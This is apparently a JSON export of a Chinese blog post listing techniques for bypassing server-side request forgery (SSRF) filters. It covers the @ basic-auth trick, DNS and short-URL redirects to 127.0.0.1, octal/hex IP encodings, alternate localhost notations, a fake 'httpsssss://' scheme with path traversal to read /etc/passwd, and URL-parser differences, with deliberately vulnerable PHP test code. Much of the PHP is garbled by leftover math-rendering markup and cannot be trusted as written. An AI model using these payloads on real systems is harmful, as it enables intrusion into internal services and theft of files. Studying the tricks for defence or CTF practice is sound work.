{"id":807,"date":"2025-01-18T20:14:13","date_gmt":"2025-01-18T12:14:13","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=807"},"modified":"2025-01-18T20:14:14","modified_gmt":"2025-01-18T12:14:14","slug":"06-ssrf%e7%9b%b8%e5%85%b3%e7%9a%84%e7%bb%95%e8%bf%87%e5%a7%bf%e5%8a%bf","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/06-ssrf%e7%9b%b8%e5%85%b3%e7%9a%84%e7%bb%95%e8%bf%87%e5%a7%bf%e5%8a%bf\/","title":{"rendered":"06.SSRF\u76f8\u5173\u7684\u7ed5\u8fc7\u59ff\u52bf"},"content":{"rendered":"

SSRF\u9650\u5236<\/h3>\n

\u5bf9\u4e8eSSRF\u7684\u9650\u5236\u5927\u81f4\u6709\u5982\u4e0b\u51e0\u79cd\uff1a<\/p>\n

\u9650\u5236\u8bf7\u6c42\u7684\u7aef\u53e3\u53ea\u80fd\u4e3aWeb\u7aef\u53e3\uff0c\u53ea\u5141\u8bb8\u8bbf\u95eeHTTP\u548cHTTPS\u7684\u8bf7\u6c42\u3002<\/p>\n

\u9650\u5236\u57df\u540d\u53ea\u80fd\u4e3a\u00a0http:\/\/www.xxx.com<\/p>\n

\u9650\u5236\u4e0d\u80fd\u8bbf\u95ee\u5185\u7f51\u7684IP\uff0c\u4ee5\u9632\u6b62\u5bf9\u5185\u7f51\u8fdb\u884c\u653b\u51fb\u3002<\/p>\n

\u5c4f\u853d\u8fd4\u56de\u7684\u8be6\u7ec6\u4fe1\u606f\u3002<\/p>\n

\u7ed5\u8fc7\u65b9\u6cd5<\/h3>\n

1.\u5229\u7528HTTP\u57fa\u672c\u8eab\u4efd\u8ba4\u8bc1\u7684\u65b9\u5f0f\u7ed5\u8fc7\uff08@\u7b26\uff09<\/h4>\n

\u5982\u679c\u76ee\u6807\u4ee3\u7801\u9650\u5236\u8bbf\u95ee\u7684\u57df\u540d\u53ea\u80fd\u4e3a\u00a0\u00a0http:\/\/www.xxx.com\u00a0\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u91c7\u7528HTTP\u57fa\u672c\u8eab\u4efd\u8ba4\u8bc1\u7684\u65b9\u5f0f\u7ed5\u8fc7\u3002\u5373@\uff1a\u00a0http:\/\/www.xxx.com@www.evil.com
\n\u5219\u5b9e\u9645\u4e0a\u8bbf\u95ee\u7684\u662f www.evil.com \u8fd9\u4e2a\u5730\u5740<\/p>\n

\"Pasted<\/p>\n

2.\u5229\u7528302\u8df3\u8f6c\u7ed5\u8fc7\u5185\u7f51IP<\/h4>\n

\u7f51\u5740\u540e\u52a0 xip.io
\n\u5176\u539f\u7406\u662f\u4f8b\u5982 10.10.10.10.xip.io \u4f1a\u88ab\u89e3\u6790\u6210 10.10.10.10<\/p>\n

3.\u5229\u7528\u77ed\u7f51\u5740\u7684\u65b9\u5f0f\u6765\u8fdb\u884c\u8df3\u8f6c\uff1a<\/h4>\n

\u76f4\u63a5\u4f7f\u7528\u751f\u6210\u7684\u77ed\u8fde\u63a5\u00a0\u00a0https:\/\/4m.cn\/FjOdQ\u00a0\u5c31\u4f1a\u81ea\u52a8302\u8df3\u8f6c\u5230\u00a0\u00a0http:\/\/127.0.0.1\/flag.php\u00a0\u4e0a\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u7ed5\u8fc7WAF\u4e86\uff1a
\n\"Pasted\"Pasted<\/p>\n

4.\u8fdb\u5236\u7684\u8f6c\u6362\u7ed5\u8fc7\u5185\u7f51IP<\/h4>\n

\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e9b\u4e0d\u540c\u7684\u8fdb\u5236\u66ff\u4ee3ip\u5730\u5740\uff0c\u4ece\u800c\u7ed5\u8fc7WAF\uff0c\u8fd9\u91cc\u7ed9\u51fa\u4e2a\u4ece\u7f51\u4e0a\u6252\u7684php\u811a\u672c\u53ef\u4ee5\u4e00\u952e\u8f6c\u6362\uff1a<\/p>\n

<?php
\n<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>i<\/mi>p<\/mi>=<\/mo>\u2032<\/mo><\/msup>127.0<\/mn>.0<\/mn>.1<\/mn>\u2032<\/mo><\/msup>;<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>ip = explode(‘.’,<\/g><\/g><\/g><\/g><\/g><\/g><\/svg>i<\/mi>p<\/mi>)<\/mo>;<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>r = (<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>i<\/mi>p<\/mi>[<\/mo>0<\/mn>]<\/mo><<<\/mo>24<\/mn>)<\/mo>|<\/mo>(<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>ip[1] << 16) | ($ip[2] << 8) | <\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>i<\/mi>p<\/mi>[<\/mo>3<\/mn>]<\/mo>;<\/mo>i<\/mi>f<\/mi>(<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>r < 0) {
\n\u00a0\u00a0\u00a0 $r += 4294967296;
\n}
\necho "\u5341\u8fdb\u5236:";\u00a0\u00a0\u00a0\u00a0 \/\/ 2130706433
\necho <\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g>\u516b<\/text><\/g>\u8fdb<\/text><\/g>\u5236<\/text><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>r<\/mi>;<\/mo>e<\/mi>c<\/mi>h<\/mi>o<\/mi>“<\/mo><\/mrow>\u516b<\/mi>\u8fdb<\/mi>\u5236<\/mi>:<\/mo>“<\/mo><\/mrow>;<\/mo>\/<\/mo><\/mrow>\/<\/mo><\/mrow>0177.0<\/mn>.0<\/mn>.1<\/mn>e<\/mi>c<\/mi>h<\/mi>o<\/mi>d<\/mi>e<\/mi>c<\/mi>o<\/mi>c<\/mi>t<\/mi>(<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>r);
\necho "\u5341\u516d\u8fdb\u5236:";\u00a0\u00a0 \/\/ 0x7f.0.0.1
\necho dechex($r);
\n?><\/p>\n

5.\u5176\u4ed6\u5404\u79cd\u6307\u5411127.0.0.1\u7684\u5730\u5740<\/h4>\n

http:\/\/localhost\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # localhost\u5c31\u662f\u4ee3\u6307127.0.0.1
\nhttp:\/\/0\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # 0\u5728window\u4e0b\u4ee3\u88680.0.0.0\uff0c\u800c\u5728liunx\u4e0b\u4ee3\u8868127.0.0.1
\nhttp:\/\/0.0.0.0\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # 0.0.0.0\u8fd9\u4e2aIP\u5730\u5740\u8868\u793a\u6574\u4e2a\u7f51\u7edc\uff0c\u53ef\u4ee5\u4ee3\u8868\u672c\u673a ipv4 \u7684\u6240\u6709\u5730\u5740
\nhttp:\/\/[0:0:0:0:0:ffff:127.0.0.1]\/\u00a0\u00a0\u00a0 # \u5728liunx\u4e0b\u53ef\u7528\uff0cwindow\u6d4b\u8bd5\u4e86\u4e0b\u4e0d\u884c
\nhttp:\/\/[::]:80\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # \u5728liunx\u4e0b\u53ef\u7528\uff0cwindow\u6d4b\u8bd5\u4e86\u4e0b\u4e0d\u884c
\nhttp:\/\/127\u30020\u30020\u30021\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # \u7528\u4e2d\u6587\u53e5\u53f7\u7ed5\u8fc7
\nhttp:\/\/\u2460\u2461\u2466.\u24ea.\u24ea.\u2460
\nhttp:\/\/127.1\/
\nhttp:\/\/127.00000.00000.001\/ # 0\u7684\u6570\u91cf\u591a\u4e00\u70b9\u5c11\u4e00\u70b9\u90fd\u6ca1\u5f71\u54cd\uff0c\u6700\u540e\u8fd8\u662f\u4f1a\u6307\u5411127.0.0.1<\/p>\n

6.\u5229\u7528\u4e0d\u5b58\u5728\u7684\u534f\u8bae\u5934\u7ed5\u8fc7\u6307\u5b9a\u7684\u534f\u8bae\u5934<\/h4>\n

file_get_contents()\u51fd\u6570\u7684\u4e00\u4e2a\u7279\u6027\uff0c\u5373\u5f53PHP\u7684\u00a0file_get_contents()\u00a0\u51fd\u6570\u5728\u9047\u5230\u4e0d\u8ba4\u8bc6\u7684\u534f\u8bae\u5934\u65f6\u5019\u4f1a\u5c06\u8fd9\u4e2a\u534f\u8bae\u5934\u5f53\u505a\u6587\u4ef6\u5939\uff0c\u9020\u6210\u76ee\u5f55\u7a7f\u8d8a\u6f0f\u6d1e\uff0c\u8fd9\u65f6\u5019\u53ea\u9700\u4e0d\u65ad\u5f80\u4e0a\u8df3\u8f6c\u76ee\u5f55\u5373\u53ef\u8bfb\u5230\u6839\u76ee\u5f55\u7684\u6587\u4ef6\u3002\uff08include()\u51fd\u6570\u4e5f\u6709\u7c7b\u4f3c\u7684\u7279\u6027\uff09<\/p>\n

\u6d4b\u8bd5\u4ee3\u7801<\/p>\n

\/\/ ssrf3.php<\/p>\n

<?php
\nhighlight_file(FILE<\/strong>);
\nif(!preg_match(‘\/^https\/is’,<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>G<\/mi><\/msub>E<\/mi>T<\/mi>[<\/mo>\u2032<\/mo><\/msup>u<\/mi>r<\/mi>l<\/mi>\u2032<\/mo><\/msup>]<\/mo>)<\/mo>)<\/mo>d<\/mi>i<\/mi>e<\/mi>(<\/mo>“<\/mo><\/mrow>n<\/mi>o<\/mi>h<\/mi>a<\/mi>c<\/mi>k<\/mi>“<\/mo><\/mrow>)<\/mo>;<\/mo><\/mrow>e<\/mi>c<\/mi>h<\/mi>o<\/mi>f<\/mi>i<\/mi>l<\/mi>e<\/mi>g<\/mi><\/msub>e<\/mi>t<\/mi>c<\/mi><\/msub>o<\/mi>n<\/mi>t<\/mi>e<\/mi>n<\/mi>t<\/mi>s<\/mi>(<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>_GET[‘url’]);
\n?><\/p>\n

\u4e0a\u9762\u7684\u4ee3\u7801\u9650\u5236\u4e86url\u53ea\u80fd\u662f\u4ee5https\u5f00\u5934\u7684\u8def\u5f84\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u5982\u4e0b\uff1a<\/p>\n

httpsssss:\/\/<\/p>\n

\u6b64\u65f6file_get_contents()\u00a0\u51fd\u6570\u9047\u5230\u4e86\u4e0d\u8ba4\u8bc6\u7684\u4f2a\u534f\u8bae\u5934\u201chttpsssss:\/\/\u201d\uff0c\u5c31\u4f1a\u5c06\u4ed6\u5f53\u505a\u6587\u4ef6\u5939\uff0c\u7136\u540e\u518d\u914d\u5408\u76ee\u5f55\u7a7f\u8d8a\u5373\u53ef\u8bfb\u53d6\u6587\u4ef6\uff1a<\/p>\n

ssrf.php?url=httpsssss:\/\/..\/..\/..\/..\/..\/..\/etc\/passwd
\nssrf.php?url=httpsssss:\/\/abc..\/..\/..\/..\/..\/..\/etc\/passwd<\/p>\n

\"Pasted<\/p>\n

7.\u5229\u7528URL\u7684\u89e3\u6790\u95ee\u9898<\/h4>\n

\u4e3b\u8981\u662f\u5229\u7528readfile\u548cparse_url\u51fd\u6570\u7684\u89e3\u6790\u5dee\u5f02\u4ee5\u53cacurl\u548cparse_url\u89e3\u6790\u5dee\u5f02\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002<\/p>\n

\uff081\uff09\u5229\u7528readfile\u548cparse_url\u51fd\u6570\u7684\u89e3\u6790\u5dee\u5f02\u7ed5\u8fc7\u6307\u5b9a\u7684\u7aef\u53e3<\/h5>\n

\u6d4b\u8bd5\u4ee3\u7801\uff1a<\/p>\n

\/\/ ssrf2.php<\/p>\n

<?php
\n$url = ‘http:\/\/’. <\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>G<\/mi><\/msub>E<\/mi>T<\/mi>[<\/mo>u<\/mi>r<\/mi>l<\/mi>]<\/mo>;<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>parsed = parse_url($url);
\nif( Extra open brace or missing close brace<\/title>parsed[port] == 80 ){ \/\/ \u8fd9\u91cc\u9650\u5236\u4e86\u6211\u4eec\u4f20\u8fc7\u53bb\u7684url\u53ea\u80fd\u662f80\u7aef\u53e3\u7684 \u00a0 \u00a0 \u00a0readfile(<\/text><\/g><\/g><\/g><\/g><\/svg>parsed[port] == 80 ){ \/\/ \u8fd9\u91cc\u9650\u5236\u4e86\u6211\u4eec\u4f20\u8fc7\u53bb\u7684url\u53ea\u80fd\u662f80\u7aef\u53e3\u7684 \u00a0 \u00a0 \u00a0readfile(<\/mtext><\/merror><\/math><\/mjx-assistive-mml><\/mjx-container>url);
\n} else {
\n\u00a0 \u00a0 \u00a0die(‘Hacker!’);
\n}
\n?><\/p>\n

\u4e0a\u8ff0\u4ee3\u7801\u9650\u5236\u4e86\u6211\u4eec\u4f20\u8fc7\u53bb\u7684url\u53ea\u80fd\u662f80\u7aef\u53e3\u7684\uff0c\u4f46\u5982\u679c\u6211\u4eec\u60f3\u53bb\u8bfb\u53d611211\u7aef\u53e3\u7684\u6587\u4ef6\u7684\u8bdd\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u4ee5\u4e0b\u65b9\u6cd5\u7ed5\u8fc7\uff1a
\n

\"Pasted<\/div>
\n\u6210\u529f\u8bfb\u53d6\u4e8611211\u7aef\u53e3\u4e0b\u76841.txt<\/p>\n

\"Pasted<\/p>\n

\"Pasted<\/p>\n

\u4ece\u4e0a\u56fe\u4e2d\u53ef\u4ee5\u770b\u51fareadfile()\u51fd\u6570\u83b7\u53d6\u7684\u7aef\u53e3\u662f\u6700\u540e\u5192\u53f7\u524d\u9762\u7684\u4e00\u90e8\u5206\uff0811211\uff09\uff0c\u800cparse_url()\u51fd\u6570\u83b7\u53d6\u7684\u5219\u662f\u6700\u540e\u5192\u53f7\u540e\u9762\u7684\u7684\u7aef\u53e3\uff0880\uff09\uff0c\u5229\u7528\u8fd9\u79cd\u5dee\u5f02\u7684\u4e0d\u540c\uff0c\u4ece\u800c\u7ed5\u8fc7WAF\u3002<\/p>\n

\"Pasted<\/p>\n

readfile()\u51fd\u6570\u83b7\u53d6\u7684\u662f@\u53f7\u540e\u9762\u4e00\u90e8\u5206\uff08evil.com\uff09\uff0c\u800cparse_url()\u51fd\u6570\u83b7\u53d6\u7684\u5219\u662f@\u53f7\u524d\u9762\u7684\u4e00\u90e8\u5206\uff08google.com\uff09\uff0c\u5229\u7528\u8fd9\u79cd\u5dee\u5f02\u7684\u4e0d\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed5\u8fc7\u9898\u76ee\u4e2dparse_url()\u51fd\u6570\u5bf9\u6307\u5b9ahost\u7684\u9650\u5236\u3002<\/p>\n

\uff082\uff09\u5229\u7528curl\u548cparse_url\u7684\u89e3\u6790\u5dee\u5f02\u7ed5\u6307\u5b9a\u7684host<\/h5>\n

\u4ece\u4e0a\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230curl()\u51fd\u6570\u89e3\u6790\u7684\u662f\u7b2c\u4e00\u4e2a@\u540e\u9762\u7684\u7f51\u5740\uff0c\u800cparse_url()\u51fd\u6570\u89e3\u6790\u7684\u662f\u7b2c\u4e8c\u4e2a@\u540e\u9762\u7684\u7f51\u5740\u3002\u5229\u7528\u8fd9\u4e2a\u539f\u7406\u6211\u4eec\u53ef\u4ee5\u7ed5\u8fc7\u9898\u76ee\u4e2dparse_url()\u51fd\u6570\u5bf9\u6307\u5b9ahost\u7684\u9650\u5236\u3002<\/p>\n

\"Pasted<\/p>\n

\u6d4b\u8bd5\u4ee3\u7801\uff1a<\/p>\n

<?php
\nhighlight_file(FILE<\/strong>);
\nfunction check_inner_ip($url)
\n{
\n\u00a0\u00a0\u00a0 <\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>m<\/mi>a<\/mi>t<\/mi>c<\/mi>h<\/mi>r<\/mi><\/msub>e<\/mi>s<\/mi>u<\/mi>l<\/mi>t<\/mi>=<\/mo>p<\/mi>r<\/mi>e<\/mi>g<\/mi>m<\/mi><\/msub>a<\/mi>t<\/mi>c<\/mi>h<\/mi>(<\/mo>\u2032<\/mo><\/msup>\/<\/mo><\/mrow>(<\/mo><\/msup>h<\/mi>t<\/mi>t<\/mi>p<\/mi>|<\/mo>h<\/mi>t<\/mi>t<\/mi>p<\/mi>s<\/mi>)<\/mo>?<\/mo>:<\/mo>\\\/<\/mtext>\\\/<\/mtext>.<\/mo>\u2217<\/mo>(<\/mo>\\\/<\/mtext>)<\/mo>?<\/mo>.<\/mo>\u2217<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>\/’,<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>u<\/mi>r<\/mi>l<\/mi>)<\/mo>;<\/mo>i<\/mi>f<\/mi>(<\/mo>!<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>match_result)
\n\u00a0\u00a0\u00a0 {
\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 die(‘url fomat error’);
\n\u00a0\u00a0\u00a0 }
\n\u00a0\u00a0\u00a0 try
\n\u00a0\u00a0\u00a0 {
\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>u<\/mi>r<\/mi>l<\/mi>p<\/mi><\/msub>a<\/mi>r<\/mi>s<\/mi>e<\/mi>=<\/mo>p<\/mi>a<\/mi>r<\/mi>s<\/mi>e<\/mi>u<\/mi><\/msub>r<\/mi>l<\/mi>(<\/mo><\/math><\/mjx-assistive-mml><\/mjx-container>url);
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